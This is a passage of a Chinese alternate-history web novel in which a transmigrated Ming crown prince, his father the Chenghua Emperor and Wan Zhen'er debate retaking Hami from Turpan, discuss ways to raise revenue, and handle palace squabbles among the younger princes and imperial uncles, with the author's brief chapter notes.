关键这样吃,不是时不时吃一回,而是经常吃。偏偏呢,朱佑棱整个人只是胖了亿点点,其他的屁事没有,完全不存在补过头。 “鹤归啊,你这样吃,朕真怕你以后胖得走不动路。”朱见深感叹,到底不敢和朱佑棱抢着吃。 “不可能,绝对不可能。”朱佑棱异常坚定的说。“我不可能胖成那样,我平时有锻炼身体,看起来比父皇健康多了。” “你哪里看起来比朕健康。”父子俩开始互相伤害,你一言我一语,惹得万贞儿吃笑不已。 当然了,这也是万贞儿确定自己儿子体质天赋异禀,貌似还百毒不侵的缘故,才没有对朱佑棱的一日三餐横加干涉。 都是由着朱佑棱,将溺爱孩子的老母亲角色,展现得淋漓尽致。 很快两日过去,又到了美好的上早朝日。 寅时(凌晨5点)刚过,,天色未明,金銮殿内却已灯火通明,庄严肃穆。 文武百官分列两侧,鸦雀无声,只有御座旁那金鹤香炉吐出的袅袅青烟,在凝滞的空气中缓缓上升。 空气中,开始弥漫着一股山雨欲来的压抑感。 端坐在龙椅上的朱见深,面色沉静,他先是看了一眼,坐在他脚边的朱佑棱,这才看着底下的群臣,直接切入主题。 “诸位爱卿,土鲁番阿力,侵哈密,掳忠顺王,藐视天威,对朕的敕令置若罔闻。如此猖獗逆行,朕意已决,当遣将士,犁庭扫穴,以正国法!诸位爱卿,有何方略?” 朱见深的话,犹如一块巨石投入平静的湖面,话语刚落,朝堂瞬间骚动起来。 兵部现任的尚书白圭,是一位主战派,成化二年的时候,奉命提督军务,与抚宁伯朱永等讨平荆襄流民刘通之乱,以功加太子少保兼兵部尚书,又提督十二营操练。 白圭当即出列,出声道:“陛下圣明!土鲁番蕞尔小邦,竟敢如此悖逆,若不加征剿,天朝威严何在。” 顿了顿,白圭又道。“若不加征剿,西北诸部必将群起效仿,边关必然永无宁日!臣以为,当速选良将,精兵,直捣哈密,擒获阿力,传首九边,以儆效尤!” 都督同知赵辅等一批武将也纷纷出列附和。“臣等愿领兵出征,必为陛下荡平土鲁番,扬我国威!” 白圭的话,简直说到了朱见深的心坎上。 他上一次上早朝,之所以那么生气。就是觉得,朝中一些大臣,特别是以某些文官为首的家伙,不知道是不是上了年龄的缘故,遇事总想着息事宁人,缺乏年轻人该有的锐意和进取心。 然鹅不等朱见深表达对主战派官员的赞同,本该在成化七年致仕,如今依然是内阁首辅的商辂,突然出列,躬身的道:“陛下,老臣以为,出兵之事,还需慎重。” 朱见深的眉头立刻皱了起来。 朱佑棱倒是面色平淡,他早就猜到,关于出兵抢夺回哈密卫的争论,最终会以主和派胜利宣告结束。但没有想到,商辂这回居然也成了主和派。 “万岁爷”商辂叹息的说。“哈密卫远在边塞之外,若派兵征讨,运送军粮需跨越千里,士兵们难免要忍饥挨饿。大军远征万里,不仅将士劳顿,钱财消耗也极为巨大,这是老臣认为的第一难处。” “至于第二忧虑” “西北之地苦寒,我们的将士长途跋涉到那里,必然水土不服,如此还能剩下多少战斗力?” 商辂认真无比的继续说。“万岁爷,即便咱们侥幸收复了哈密卫,可此城孤零零地悬在塞外,我们该如何长久固守?一旦大军撤回,贼寇必定卷土重来,这岂不是白白消耗国家的财力物力。” “这是老臣所思所想的三点问题,万岁爷,老臣认为,我们不如稳妥地坚守现有的关隘,同时派遣使者对土鲁番严加斥责,并辅以笼络安抚的策略,命令他们归还哈密卫。这样或许能收到不用出兵作战就使其屈服的效果。” “前段时间朕敕令斥责,土鲁番首领阿力,没有丝毫反应。朕不得不认为,他已经在藐视大明天威。” 朱见深说到这儿的时候,其实已经很平静了,但是他的意思已经很明显,土鲁番那边已经蔑视大明了,要是不给个出兵反应,岂不是被看低了。 没曾想,朱见深话语刚落,就有都察院的某位御史出列支持商辂。 只听这位御史慷慨激昂的说。“万岁爷,商大人这番话,是为国谋划的忠言。 战如凶器,乃圣明君王在不得已的情况,才会选择性动用的手段,不可因一时愤怒,就轻易挑起边境战事。何况如今国库不充裕,若再兴师动众远征,必然要向百姓加征赋税,只怕会引发国内动荡!恳请陛下再三深思!” “等等,为什么要像百姓加征赋税?”朱佑棱貌似很天真的发言。“这种情况,抄几个恶贯满盈,有通敌卖国之疑的商绅,不就来钱了!” 满朝文武:“” 彭时等人面面相觑,突然察觉到了很不得了的问题。他们的太子殿下,大明未来继承人的观念,好像和他们很不一样。 ——到底什么他们的太子殿下会有,国库不充沛,就抄家的想法? 万安伸手抹了抹额头,发觉全是汗渍。随即恢复冷静,反正不是他教的,太子殿下那么聪慧,说不定自学成才呢! “太子殿下,国有国法,家有家规,只要没犯法,就不可轻易动抄家的念头。” “都有通敌卖国之疑了,怎么不算犯了法?”朱佑棱忍不住和说这话的御史争辩道。“既然敢通敌卖国,孤只是抄家诛首恶,已经算仁慈。孤可没说过让他们三族消消乐!”—— 作者有话说:二合一!更新o(* ̄︶ ̄*)o 第58章 第058章 “朕的太子又不是嗜杀之人…… “朕的太子又不是嗜杀之人, 只抄卖国反贼之心,为何尔等一个个的,彷佛朕的太子,已经下令将卖国贼三族消消乐了。等等” 朱见深说着说着, 突然灵机一动, 想到一个可能性, 不禁脸黑起来。 够资格来金銮殿上早朝的官员, 都是聪明人。朱见深能想到的, 他们能想不到。 典型的自作聪明, 自己将自己坑了。 朱见深发出意味不明的哼哼声。 朱佑棱直接嗤笑, 父子俩都没有说话, 但嘲讽效果真的拉得满满的。顿时满朝文武不再说话了, 就连先前还说出自己想法的商辂,都不禁在心中摇头。 何谓猪队友,这就是了! “陛下的敕令早就发过了,那土鲁番首领阿力何曾理会过半分!我们退一尺,贼寇就敢进一丈!今天放弃哈密, 明天是不是连肃州也要拱手相让。”白圭突然出声, 将话题拉了回来。 “死守关隘?简直是坐以待毙!至于所谓劳民伤财——末将愿立下军令状,若不能速战速决,甘受军法处置。” “此策不可, 太过劳民伤财,有伤天和。” “此言荒谬!道就眼睁睁看着藩邦欺辱而无所作为?如此怯懦, 岂不令四方藩邦耻笑?令边关将士寒心?!” “并非怯懦,乃是权衡利弊!为国谋长远!” “长远?一味退让,只会让贼人觉得我大明可欺!有何长远可言!” 朝堂之上,顿时吵作一团。可惜没有打起来, 但唾沫芯子飞溅。主战派,主要以武将与部分年轻气盛的言官为主,慷慨激昂,主张武力惩戒。 反对派则以部分内阁重臣、翰林清流和老成持重的官员为核心,引经据典,强调困难,主张谨慎乃至妥协。 双方互相攻讦,唾沫横飞,将“圣人垂训”“祖宗成法”“现实困难”“国家体面”等等大帽子互相扣来扣去,不止乱成一锅粥,还差点打起来。 朱见深和朱佑棱这对父子俩,看得那叫一个津津有味。等争吵变得白热化,有上演全武行的架势,朱见深才意犹未尽的表态。 只见朱见深,猛地一拍龙椅的扶手! “啪!” 一声脆响,在整个大殿回荡。 所有的争吵声戛然而止,白圭淡定的将脱下,准备投递到某人脸上的靴子重新穿回脚上。 商辂一言难尽,估计在心里骂白圭这家伙不讲武德,而白圭呢,倒是挺镇定的,假装什么时候都没有发生。先前脱了鞋子准备打人的事情,只是恍惚做梦。 “哈密卫,乃是太宗皇帝所设关西七卫之一,是我大明疆土!哈密忠顺王,更是先帝亲封的大明郡王!土鲁番阿力,侵我大明国土,掳我大明亲王,视朕的敕令如无物!此等行径,与叛逆何异?!” 朱见深声量拔高,看似挺云淡风轻的,但实际上还是在生气,有中快要压抑不住的愤怒。 “你们在这里跟朕讲困难?讲耗费?讲什么怀柔。难道非要等土鲁番的铁骑踏破嘉峪关,兵临北京城下,你们才觉得该打吗!” “你们也别说,朕所忧虑,没有发生的可能。当初先帝爷信心满满,御驾亲征,不也发生了土木堡之变。” 满朝文武:“” 怎么说呢,这个比方打得很好,但是先帝爷是万岁爷你的亲爹啊!如此‘大大咧咧’的将土木堡之变说出来,弄得他们这些做大臣的,都不知道该找什么借口来反驳了。 土木堡之变是耻辱,哈密卫被侵占也是耻辱。前者尚有于谦等大臣力挽狂澜,可哈密卫被侵占 别说,历史上拖拖拉拉的,就是没有解决。到了嘉靖年间,干脆直接就放弃了哈密卫。 不过这儿,朱见深还是倾向于出兵远征,将哈密卫夺取回来。 只是并不容易,前面已经阐述了原因,就不多说了。一块飞地,在大臣们看来,如同鸡肋,食之无味弃之可惜。 “鹤归你来告诉他们,朕该如何做?” 被朱见深突然‘招呼’的朱佑棱略有些茫然的点点头。 “想出兵打就打呗。”朱佑棱回过神,“我又不是专业人士,打仗的话,还是要看诸位能征善战将军。” 倒不是推卸责任,而是事实。 他才多大,即使想上战场,估计开口的结果,便是被吊到宗庙抽打好忘掉‘御驾亲征’的事儿。 ——都是大明战神造的孽! 朱佑棱又道。“孤对大明将士的战斗力有信心,尔等也要有信心。” 几位内阁大臣欲言又止,估计想说有信心的话,怕朱见深不顾现实立刻派兵远征哈密,说没有信心吧,大概会被骂个狗血淋头,所以挺左右为难的。 其实朱见深这时候,也挺左右为难的。从本心上来讲,朱见深自是希望能够出兵夺回哈密。 但从现实出发,远征哈密的确问题重重,首先军需补给方面,就是问题。 辽东那边,其实守护边防的卫所军户们,平日里都是农户,忙时训练,闲时屯田养殖,在军饷时不时就要拖欠的情况下,尽量做到自给自足。 而哈密卫等西域七卫,其实飞地的说法是正确的。他们的存在,除了保障丝绸之路通畅外,便只剩下宣传大明国威。 哈密被夺占,的确有损大明国威,可在大明大臣们的眼中,相较有损大明国威,更不能接受大明远征哈密,有可能带来的财政困难。 老实讲,朱佑棱挺看不起‘连脸都不要,唾面自干’的人。朱见深也看不起,在这样的情况下,父子俩默契的达成一致。 打肯定要打的,不然对不起老祖宗!至于怎么打,先缓缓,他们父子俩私底下好好的商量。 朱见深再次深深的看了看,欲言又止的大臣们。首次体会心塞,不想看到老橘皮们的伤感。于是乎,朱见深表示:“既然尔等犹犹豫豫,连开口都不敢,那就回去好好想想。朕希望下回早朝,尔等能给朕拿出好的章程。” “退朝。” 朱见深大手一挥,率先走了,都忘了将他胖墩儿似的儿砸带走。 朱佑棱:“” ——有时候真的不想理老登儿! 朱佑棱自觉搬起自己坐的小板凳,准备拎着追上朱见深。结果被内阁的几个真·糟老头子拦住! 朱佑棱:“???干嘛?” “太子殿下,听说太子殿下最近在看兵书?” “你说那本《桃园三结义》?”朱佑棱认真思索片刻,挺无奈的挥了挥手。 左手抓住的小板凳依然抓得稳稳的。 “那是兵书?孤读书少,你们可别忽悠孤!” 彭时:“啊对,太子殿下这几日好像在看《桃园三结义》,可老夫记得,太子殿下再前几日在看《秦王破阵图鉴》。” “你也说了图鉴,谁家兵书,里面还有破阵图鉴?”朱佑棱无语的道。“难道诸位老师,就没有想过,孤懂军法,是因为孤天生聪慧呢!” 其他人:“” “兵书可看,却不能经常看。殿下乃太子,当以‘文’为重。” “哦!学习你们上朝吵架,还差点当着父皇的面打起来的高雅?”朱佑棱深以为然的点头,还道。“我懂了,那是诸位老师们口中所言,独属文化人的优雅。” 其他大臣:“” “好啦!孤就不耽误诸位大人们回去思对策了,两日后大朝会,孤期待,相信父皇也期待你们能拿出良策,来解决哈密卫被侵占的问题。” 大臣们还来不及收获,朱佑棱抓着小板凳就往龙撵的方向狂奔。 “父皇等等你最爱的儿子!” 朱佑棱人胖,虽说跑起路来,身上的肉肉一颤一抖的,但速度很快,一溜烟就小跑到了龙撵处,然后麻溜的往上爬。 风中还传来朱见深貌似挺埋汰的话语。 “别乱说,朕最爱的是贞姐,你最多算是爱屋及乌的那个‘乌’。” ——啊这! ——万岁爷你这么耿直的发言,确定不会伤太子殿下的心? 大臣们你看我我看你,最终什么话都没有说,各自长吁一声各回各家。 朱佑棱对朱见深的所谓耿直发言,还真不会感到伤心。朱见深最爱万贞儿,那就最爱好了,反正他也最爱他的美人娘亲,小亲爹一样顺带的。 “父皇,你居然不等儿子,不怕儿子回去找娘亲告状?” “你告状呗!”朱见深才不惧威胁,直截了当的表示,“以为朕不会找贞姐告状?” “父皇不止会告状,还会冲娘亲撒娇呢!” 朱见深:“” 跟着龙撵走的怀恩忙低头,掩饰自己那上扬的嘴角。 “怎么?鹤归羡慕?” 朱佑棱捧着胖乎乎的腮帮,故作可爱的说。“是呢,儿子很羡慕,儿子这么说,父皇满意否?”—— 作者有话说:更新o(* ̄︶ ̄*)o 第59章 第059章 朱见深自然是满意的。于是…… 朱见深自然是满意的。于是乎, 在龙撵抵达安喜宫的时候,朱见深又习惯性的把胖儿子给忘了! 朱佑棱抬头望了望苍穹,万里无云的晴空飞过六只乌鸦,正如他现在额头上挂着的六个点点一模一样。 “父母是真爱, 孩子是意外!” 还没有吃糖呢, 朱佑棱就觉得腻死人了, 害得他牙疼。 朱佑棱龇牙咧嘴, 扛着小板凳就往安喜宫里冲, 那牛犊子的架势, 可把大家给乐坏了。 “好殿下, 可别跑快了, 慢慢地走。” 小翠赶紧迎上前, 接过朱佑棱手中的小板凳,还问朱佑棱等会儿想吃啥。 朱佑棱:“想吃小笼包。” “小笼包?”小翠讶然,随即点头说:“那奴婢吩咐小厨房的人多做几种口味儿的小笼包。” “四喜丸子,烤猪蹄、佛手玉羹汤,熏烤鹿肉” 朱佑棱开始点餐, 点的都是扎实的肉菜, 就拿佛手玉羹汤来说,主菜是佛手瓜,但是呢, 里面用了鸡肉糜捏成的小丸子,白嫩顺滑, 像一颗颗白色的玉珠,配合同样切成圆形的佛手瓜,可不就是佛手玉羹汤。 还有新抽芽的桑叶,和着瘦肉煨了一盅桑叶瘦肉粥。这是特意做的, 好克化,主要给朱佑棱吃的。 很快到了晌午,而那两口子总算腻歪完了。 丰盛的膳食被一一摆上来。朱佑棱坐在比寻常椅子高一截儿的专属座位上,没有理会腻歪得很的帝妃二人组。 倒是用膳的时候,朱见深打破了‘食不言寝不语’的规矩,主动开口道。 “前两年整顿盐课,国库收入增加了一大截。朕很高兴,但之后年景一年比一年差,国库多收上来的税收,都填补到了赈灾中。” 顿了顿,朱见深直接问。“鹤归,你人小鬼大,特会想馊主意,你说朕该怎么增加国库收入。” “抄家咯!”朱佑棱想都没有多想,直接就道。“抄家是来钱最快的一种偏招儿,可以用,但不能经常用。” 朱见深:“也对,经常抄家,多半会落下抄家皇帝的名头。” “深郎在乎?”万贞儿吃吃的笑。“要是深郎在意名声,当初就不会执意娶妾身呢!” 是的娶,不是纳! 哪怕给不了正室的身份,朱见深也给了万贞儿一场满意的婚礼。 “朕的确不在乎,朕说的是鹤归。”朱见深果断坑儿子。“鹤归现在还小,所以才没有背上‘抄家太子’的名头。但是大了,绝对能继承‘抄家皇帝’的名头。” 朱佑棱:“” 坑崽的小亲爹,不怪他始终想当大孝子! “除了抄家外,还可以嗯,尽量节省开支。”朱佑棱又道。“嫔妃占据高位,每年所耗俸禄就多,所以父皇,以后你别乱封妃了,就直接封个才人就行了。” 这主意真的挺损的,毕竟历史上,朱见深的后宫都是妃,哪怕前期不是妃,后期也都封了妃。 按照惯例,皇后每年俸禄为1000两,皇贵妃则是800两,贵妃600两,妃则是300两,嫔200两,才人100两,最低等级的采女也就50两的年俸。 当然这只是银两,其他方面会发岁支米,还有日常实物配给。而日常实物配给,才是后妃每月实际得到的东西。 她们不需要花钱购买基本生活用品,因为一切都由宫廷按制度统一供应。这些配给同样严格按等级分配。 另外每年每季度的赏赐,又是额外的收入。也是和嫔妃的等级切切相关。 所以才说朱佑棱的主意损呢,让朱见深多多的封才人。哪怕生了二皇子朱佑极的白氏,生了三皇子朱佑樘的季氏,也得将份位好好的压压。 什么封妃,待遇比照贵妃之类的,想都别想。 偏偏这有点儿损的主意,让朱见深陷入了沉思,感觉特别的心动。 “也行啊。”朱见深搁下筷子,用手搓着下颌,神色莫名的说。“不过这样节省的,算是小钱。朕问的是增加国库收入的方法。” “商贾之道,其实最为来钱。”这话不是朱佑棱说的,而是万贞儿。只听她款款而谈道。 “日进斗金,说的便是商贾来钱的速度。深郎加重商税这步旗算是走对了,今年刚刚开春,不妨下令,让全国各地商贾补足所歉商税。” “嗯?他们好像补了吧!”朱见深迟疑。“难道是补往年的?” “修桥铺路金腰带。”朱佑棱跟着道。“商贾之流做善事,喜欢搞什么施粥,也不要他们施粥了,干脆就捐钱铺桥修路吧,父皇可以给个恩典,立个功德碑,上面刻上他们的名字。” 朱见深微微挑眉,显然没想到朱佑棱又给出了这么有建设性的招儿。 “商贾有钱位卑,如果能有提高地位的法儿,多少钱他们都愿意往里面砸。” 朱佑棱又道。“实在不行,那就封几个皇商,然后赐个优雅一点儿的名号,什么紫薇舍人,漱玉居士,麒麟阁主等等” 朱见深再次陷入沉思,这时大家都停了筷子,残羹剩肴被撤了下去。 朱见深:“挺好的,感觉并不需要花钱,就能有很大一笔进账。” “是的呢!” 朱佑棱倒是没骗人,处于‘有钱位卑’处境久了,是人都渴望能稍微改变一下处境。 何况朱佑棱的提议,不是稍微改变,而是很大程度改变处境,只要这条圣旨发出去,相信全国大部分的商贾,都会变得异常激动。 “不止铺桥修路,还可以让他们往边塞捐献物资。”万贞儿很理解朱佑棱的思路,赶紧找补道。“商贾之流不止有钱还有粮。” 朱佑棱重重点头,很是赞同万贞儿的话。 朱见深顺着好大儿和万贞儿的话,开始理思路。索性朱见深本身思维就挺不走寻常路的,这个时候也不例外。 只见朱见深很快就想明白了。 “的确是能增加国库收入的好办法,并且商贾捐赠,修路铺桥,也算减少了工部的压力。” “可不是嘛,工部养的工匠们,压力也是挺大的。”朱佑棱深以为然的点头。“每年的水渠,大坝水库等等水利工程,都需要工部的工匠们巡查维护,有人帮着,哪怕商贾之流,也能很大程度上减轻负担。” 过了一会儿,朱见深算是休息好了,便让人将奏折全部搬来安喜宫,今儿他不去乾清宫。 搬运奏折的工作,平日里都是怀恩公公带着手底下的几个小太监做的,这次也不例外。 很快,怀恩公公就带着几个小太监,将一大堆奏折都给搬了过来。 “孤看下回直接将奏折往安喜宫送得了。”朱佑棱瞄了一眼已经堆得好似小山高的奏折,明目张胆的咂舌。 “幸好有娘亲帮着批阅,不然这么多的奏折,每天父皇要批阅到什么时候。” “今儿不止贞姐帮忙批阅。”朱见深看不得朱佑棱悠闲,直接出言道。“鹤归你呢,从今儿开始,也跟着批阅奏折。” 朱佑棱:“我才不到7岁。” “不,已经7岁了。”朱见深说的是虚岁,现在的朱佑棱也就六岁,换在后世,还在幼儿园上大班呢,结果在大明,还得被不着调,看不惯他悠闲模样儿的小亲爹压着批阅奏折。” 他六岁,不是十六岁,更加不是二十六岁啊! 朱佑棱磨牙,到底还是选择跟着一块儿批阅奏折。而之所以每天都要花费很长的时间批阅奏折,最主要的,除了数量多外,还在于每个够资格写奏折的家伙,都会习惯性的用富丽堂皇的优美语言,对记载的小事儿优化。反倒正事,要吗简短,要吗藏在一大堆罗里吧嗦的话语中。 朱佑棱批改的第一本奏折,就是这个样子,朱佑棱直接用朱笔圈起来,还写了‘废话太多’四个大字。 之后第二本,特么还是这个调调,朱佑棱继续在奏折空白处写下‘废话太多’四个字 接下来第三本,第四本一连批阅了10本奏折,特么还是废话多过文化,朱佑棱简直大写的无语。 “他们好显摆哦!”朱佑棱再也忍不住吐槽,“为什么那么喜欢显摆呢,搞不懂,难道这是因为他们自觉读得书多。” 朱见深:“对呀!他们书读得多。” “所以做人的道理,都学到狗肚子里去了。”朱佑棱咬牙,还道。“孤要狠狠的骂他们,特么谁看奏折,还要查找他们是怎么引经据典的。写大白话不好?” “大白话没格调。”朱见深又很自然的接嘴。 “父皇!”朱佑棱差点跺脚。“你到底是哪边的?” “鹤归别生气,你父皇逗你玩呢。”万贞儿赶紧安抚愤怒的小兽,还白了朱见深一眼。 “好好的,怎么又说话气鹤归。” “没有气!朕爱鹤归还来不及呢,怎么会气朕的宝贝儿子。” 对于朱见深的回答,朱佑棱直接回以‘呵呵’! 前头还在说他是‘爱屋及乌’的那个‘乌’,现在就是宝贝儿子。朱有棱表示自己一个字都不信。 “哦,原来孤是父皇的宝贝儿子呢!”朱佑棱阴阳怪气,刚想继续说什么的时候,伺候朱佑极和朱佑樘的宫人,居然同时跑来说,朱佑极和朱佑樘两人都病了! 朱见深:“” 万贞儿:“” 朱佑棱:“哇哦!” “病了就请太医。”朱见深暴跳如雷,直接开骂。“朕是医术高明的神医?朕知道了去看他们俩,他们俩就能立马病好!告诉你们,再敢这样闯来找朕,朕弄死你们。”—— 作者有话说:估计是我复制粘贴的问题,万幸没关电脑,直接蹲坑去了,同时还在刷手机。不然[笑哭][笑哭][笑哭]大概明天才回发现! 第60章 第060章 朱佑棱:“父皇,现在重要…… 朱佑棱:“父皇, 现在重要的是请太医分别前往钟粹宫、景仁宫给二弟、三弟问诊看病,免得耽误了时间,去的时候都好了。” 没有说最后一句话,那绝对能表现出朱佑棱是疼爱弟弟的好哥哥, 然而朱佑棱说了, 就纯粹的乐子人, 并且表明自己猜到朱佑极以及朱佑樘病了, 却病得不算重, 大概也就一两副汤药下肚就能痊愈。 而这, 估计还是太医们采取保守治疗的结果。 倒不是朱佑棱没有兄弟爱, 主要没怎么接触。而且白嫔和季嫔纯属脑子有病, 始终处于‘总有刁民要害本宫’的紧绷情绪中。 看谁都是坏人, 特别是朱佑棱这位东宫太子,那更是会谋害他们的头号刽子手。 如此态度,别说朱佑棱本身没有什么兄弟爱,即便有,也所剩无几。朱佑棱在宫里闲逛溜圈子的时候, 根本就不往钟粹宫以及景仁宫走。 哪怕今儿传出朱佑极和朱佑樘同时病了的消息, 朱佑棱也没有表达出去探望的想法。 就是朱见深的暴躁,真的挺出乎意料。 “父皇,知道你是批阅奏折批阅暴躁了, 不知道的,还以为你嗜杀成性。” 朱见深淡淡的扫了跪在地上赫赫发抖的两宫宫人, 吩咐人去请太医。怀恩公公手下的小太监跟着,如果真的病了倒还好,如果假的讨不了好果子吃。 索性病是真病了,和朱佑棱揣测的那样, 并不严重。几副汤药下肚,就差不多药到病除了。 万见深知道后,倒没有暴跳如雷,而是直接降了白嫔和季嫔的份位,而朱佑极和朱佑樘,也用‘生母份位太低,没资格抚养’为由,抱离白氏和季氏的身边。 其实按照明宫廷的规矩,孩子说是养在自己膝下,其实绝大部分时间都由奶娘照顾。 也就是万贞儿,将朱佑棱这儿子宠到了骨子里,才会事事亲力亲为。 朱佑极和朱佑樘有没有亲娘照顾,其实都无所谓。说不得远离拿他们俩兄弟邀宠的各自亲娘,还能健健康康的长大。 而朱佑棱、朱佑樘被各自奶娘抱着住进皇子所的那天,朱佑棱还出现了,不过没怎么干涉,只找了朱见治和朱见沛两人聊天。 朱见治最近挺不爽的,主要朱见泽和朱见浚都去封地就藩,把他们俩未成年弟弟‘抛弃’了,朱见治如今连打麻将都不能凑成一桌,还要时不时和朱见浚起争执。 朱佑棱到的时候,正巧又碰到了朱见治、朱见浚二人站在院子里吵架。 大概和今儿早膳吃了啥有关! 朱佑棱:“???” “八皇叔九皇叔,你们是故意找架吵吧。” “对啊!”朱见沛想都没有多想,直接吐槽说。“日子太无聊,可不得自己找些事儿来做。” “那去上书房读书啊。”朱佑棱同样无语的吐槽。“你们还有闲心找架吵,一定是太闲了的缘故。多读点书,让自己忙起来,定然就没心思找架吵了。” 朱见治:“” 朱见沛:“” 兄弟俩同时瞪圆眼睛,不可置信的看着朱佑棱。 “太子啊,你可是我们的亲侄儿,你怎么能这样坑叔叔呢!” “让你们俩多读书就是坑你们?”朱佑棱有点儿搞不懂这里面的逻辑,也是吐槽说。“孤真是服了你们俩,难道你们想学不认识字,由着以后被封地属臣坑。” “应该不会吧!” “谁说的?”朱佑棱嘲讽的说。“你连字都不认识几个,怎么看得懂账本,还不是旁人说什么就什么!” 被硕鼠挖墙角也就罢了,最怕的是又贪又坏,外面干些欺男霸女的恶事,然后一股脑栽到头上。 虽说有时候蠢,也是一种罪。但是呢,多读读书也是好的。又不要求考状元,只是读书识字而已,却活似死了亲爹妈一样。 让朱佑棱这个作息差不多三点一线的小孩子,简直无语到了极点。 “哎,不是你八皇叔不想学,主要是学不会啊!” 朱佑棱:“学不会那是没用心学,放心,明儿去上书房读书,孤会提醒师傅,让师傅给你们好好上课,争取每日写大字上千。” 朱见治:“” 朱见沛:“” “好侄儿,不能这样对你叔叔啊。”朱见沛都快要哭了,赶紧阻止道。“学不会九皇叔也没有办法,谁让九皇叔实在太笨,不如你八皇叔。” “你笨,难道我就不蠢?”朱见治抗议,表示自己和朱见治属于一样的货色。 没救了,真的没救了! 就让他们继续蠢下去,别试图捞他们。 朱佑棱:“” “好好读书识字吧!”朱佑棱垫起脚尖,挨个拍了拍。“本来就很蠢了,再不学习会变得更蠢的。” “我们宁愿蠢。” 异口同声,可见真的十分厌恶读书。 朱佑棱耸耸肩,表示自己只是随意说说随意劝劝,既然朱见治和朱见沛宁愿蠢死也不愿认真读书识字 那未来的话,肯定很好坑。 朱佑棱抬头看向对门,闹哄哄的,是伺候朱佑极的人。朱佑极和朱佑樘在皇子所的住处,恰好是隔壁。而他们的对门,便是朱见治和朱见沛 相较对朱佑棱的熟悉,朱见治和朱见沛没有接触朱佑樘的意思。一来朱佑极才一岁多,朱佑樘也才几个月,有什么好接触的,二来也没有接触的想法,反正他们这些叔叔辈儿的藩王,成年大婚后就会去封地就藩。 无嗣除爵,有嗣,世袭罔顾藩王的爵位。说起来自从大明建国到现在,大大小小的藩王就跟蝗虫一样飞速繁衍。就连朱见深都不知晓现在总共有多少藩王,又有多少藩王后代。 反正挺能生的,无嗣除爵的少,一代接着一代繁衍下去,现在姓朱的,别说,在全国比较富裕的县城,还挺多的。 朱佑棱不太喜欢藩王,最大的原因就是占了所谓封地至少一半的税收。 剩余一半,还要扣除其他杂七杂八的开支,有藩王就藩的地方,一年税收能收上来三成就不错了。 如果一个地方税收只收上来三成还行,可问题是不止一个地方啊。老朱家还挺能生的,拿朱见深举列—— 别看朱见深现在才三个儿子,实际上他一生有十多个儿子。除却夭折的,活到成年有排名的,便有9个 一想到这个,朱佑棱的脑壳就更疼。有一万句脏话,不知道该不该说。但朱佑棱保证,等自己成年以后继承皇位后,一定要着手处理藩王的问题,大不了学习清朝,将全部皇室成员养在京城。 能参与政事,但是封地税收‘截取’一半什么的,别想! 正思索着要命的想法,朱佑樘突然哇哇的哭了起来。小家伙肺活量挺强,直接让思索要命想法的朱佑棱回过神。 “三弟这哭声,听起来真有活力,感觉不太像早产儿。”朱佑棱感慨道。 “早产儿不是朱佑极?”朱见治惊讶满满。“我只听说白才人因为意外早产,生□□弱的朱佑极。本来担心他活不过周岁,就没有取名,直到周岁才取了大名。” “活得好好的呢。”朱佑棱倒是说了一句‘残血待机时间长’的话,又道。“都早产,都是意外早产,不过说起来,三弟的身体要比二弟的身体好点。” 朱见沛瘪瘪嘴,没有就‘意外’发表看法。无非就是某些人贪心不足蛇吞象,自己造成的意外。 就他们亲哥对万娘娘的爱,万娘娘根本就不会将玩意儿一样的家伙放在眼中,毕竟连对手都称不上。 “哎,还在哭。”朱见沛有些烦恼的揉揉耳朵,突然扬起嗓子来了一句。 “奶娘呢,伺候三皇子的奶娘呢,赶紧给本王将三皇子哄好。既然伺候皇嗣,那就尽兴点,不然本王亲自找皇兄说说。” 朱佑棱点头,附和的说。“赶紧哄人,三弟还小,哭得这么厉害,将嗓子哭坏了怎么办。” 小孩子使劲哭,没有哭死的。但是吧,哭得太过厉害,对嗓子还是有一定影响。 在朱佑棱的印象中,朱佑樘不是个喜欢哭的,怎么今儿哭得撕心裂肺,还一直哭个不停。 伺候朱佑樘的乳娘赶紧告罪,抱着朱佑樘去喂奶。结果不知道朱佑樘是不是不舒服,还是怎么的,居然边吃奶边哭,哪怕很快吃得饱饱的,依然一抽一抽的哭。 “请汪太医来瞧瞧。” 朱佑棱也揉了揉耳朵,吩咐跟着他的铜钱。 铜钱是锦衣卫,是大内高手,但是吧,有些时候,就是跑腿的‘太监’。 不过铜钱的脚程很快,‘唆’的一下,很快将汪太医带来皇子所,给朱佑樘看诊。 汪太医看病一向直接,也没有吊书袋,把完脉后直截了当的说:“三殿下没有哪里不舒服,之所以哭个不停,想来是到了陌生环境,一时间不习惯的缘故。”—— 作者有话说:更新o(* ̄︶ ̄*)o《 》 60-70 第61章 第061章 “啊,不习惯?”朱佑棱对…… “啊, 不习惯?”朱佑棱对于汪太医的诊断,其实有点儿意外,又不那么意外。 主要历史上的朱佑樘,就是个感性的人, 而且还耳根子软。如果不当皇帝, 或许还要更好点, 可偏偏当了皇帝 “那开点安神的药?”朱佑棱询问。 “可以。”汪太医点头。“喝点安神的药, 能让三殿下镇定。” “那汪太医你开吧!” 朱佑棱微微颔首, 就没有再管, 而是又回到朱见治的住所, 继续听朱见治和朱见沛互相吹牛逼。 今天不知道怎么回事, 大概天色比较好吧, 朱佑极和朱佑樘搬家,白才人和季才人住到了一块儿,景仁宫被腾了出来空置,等待一下波秀女入住。 周太后那边赶在今天闹了起来。朱佑棱接到消息,本来打算径直回安喜宫的, 继而改道去了慈宁宫。 朱见深和万贞儿都在慈宁宫, 正保持挺相似的微笑,看着周太后在哭闹。 “皇帝你好狠的心啊,怎么能将泽儿的封地改到了闽南。” 是的, 朱见泽最终就藩的封地,确定为闽南, 而朱见浚则陪着他,改成在安南郡那边窝着。 兄弟俩在众人的眼中属于难兄难弟,实际上,啧, 其实他们还是带着任务的。 朱见浚呢,肯定负责在安南郡开垦大片的皇家农场。朱见泽呢,只‘诱惑’爱儿心切的周太后主动前往封地定居。 原本朱见深以为周太后还能再稳一年,再爆发说想朱见泽,没曾想还不到一年,周太后就爆发了。 当然决定去闽南看望受了委屈的小儿子之前,周太后还是要例行骂朱见深不孝。 万幸朱见深被骂习惯了,周太后骂的,基本左耳进右耳出,没有一丝生气的迹象。 就像现在,等周太后大约骂累了,朱见深才慢悠悠的开口。“闽南的十分之一成为六弟的封地,这叫狠心?母后怕是没见识过真正狠心的。” 周太后捂住胸口,气喘吁吁的说。“皇帝想要哀家死,大可以继续气哀家。” “朕说的是实话。”朱见深叹气,“母后你看,你对朕有成见,大实话都不愿意听了。” 